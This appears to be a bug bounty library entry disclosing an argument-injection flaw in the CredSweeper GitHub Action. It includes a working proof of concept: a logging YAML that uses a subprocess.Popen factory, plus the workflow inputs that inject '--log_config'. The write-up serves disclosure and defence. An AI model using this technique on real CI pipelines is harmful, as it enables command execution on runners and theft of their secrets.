# CredSweeper GitHub Action argument injection allows arbitrary command execution via --log_config

CredSweeper GitHub Action passes error/hashed inputs as raw CLI tokens, letting an attacker inject --log_config with a malicious YAML to execute commands on the runner.

- Payout: Research
- Severity: high
- Program: CredSweeper
- Found by: 0xmrma
- Disclosed: 2026-12-03
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-q5pw-pp6j-mvfc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-q5pw-pp6j-mvfc
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:github-actions tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** GitHub Actions composite action wrapper / CredSweeper CLI
**Root cause:** The action's error and hashed inputs are free-form strings emitted as standalone CLI tokens, so an attacker can split them into --log_config plus a path. CredSweeper then feeds that YAML into logging.config.dictConfig, whose () key allows arbitrary callable factories like subprocess.Popen.
**Steps:**
1. Set action inputs: `error: --log_config` and `hashed: evil_log.yml`
2. Craft evil_log.yml with a handler using `(): subprocess.Popen` and args running a command
3. Action expands to `python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt`
4. CredSweeper calls Logger.init_logging -> Util.yaml_load -> logging.config.dictConfig, invoking the callable
5. Arbitrary command runs on the runner before scanning completes
**How found:** Noticed error/hashed are documented as boolean-style flags but typed as free-form strings passed as separate CLI tokens; recognized argument-splitting into --log_config, then traced the sink to logging.config.dictConfig's () callable factory support.
**Exploitation:** Attacker who can influence the action's error/hashed inputs supplies --log_config and a path to a malicious YAML already present on the runner; dictConfig instantiates subprocess.Popen during logging init, executing arbitrary commands with the job's privileges and secrets.
**Escalation:** RCE on the CI runner enables reading repo contents, exfiltrating CI secrets/tokens, tampering with artifacts, and compromising downstream release/deploy/signing steps in the same job.
**Insight:** Boolean-looking action inputs passed as raw CLI tokens are argument-injection primitives: split one input into a flag and another into its value. Any tool exposing a config-file flag whose parser supports callable factories (Python logging dictConfig, YAML tags) turns that into RCE.

## Proof of concept (copied exactly from the original report)

**Malicious logging config with subprocess.Popen factory**

```
version: 1
disable_existing_loggers: false
formatters:
  simple:
    format: '%(message)s'
handlers:
  console:
    class: logging.StreamHandler
    formatter: simple
    stream: ext://sys.stderr
  logfile:
    class: logging.FileHandler
    formatter: simple
    filename: 'run.log'
  pwn:
    (): subprocess.Popen
    args: ['python', '-c', 'from pathlib import Path; Path("pwned.txt").write_text("PWNED", encoding="utf-8")']
root:
  level: CRITICAL
  handlers: [console, logfile, pwn]
ignore: []
```

**Injected CLI command with --log_config**

```
python -m credsweeper --banner --log INFO --no-color --no-stdout --log_config evil_log.yml --save-json output.json --path target.txt
```

**Action invocation with injected error/hashed inputs**

```
- uses: Samsung/CredSweeper@v1.16.0
  with:
    path: target.txt
    report: output.json
    error: --log_config
    hashed: evil_log.yml
```

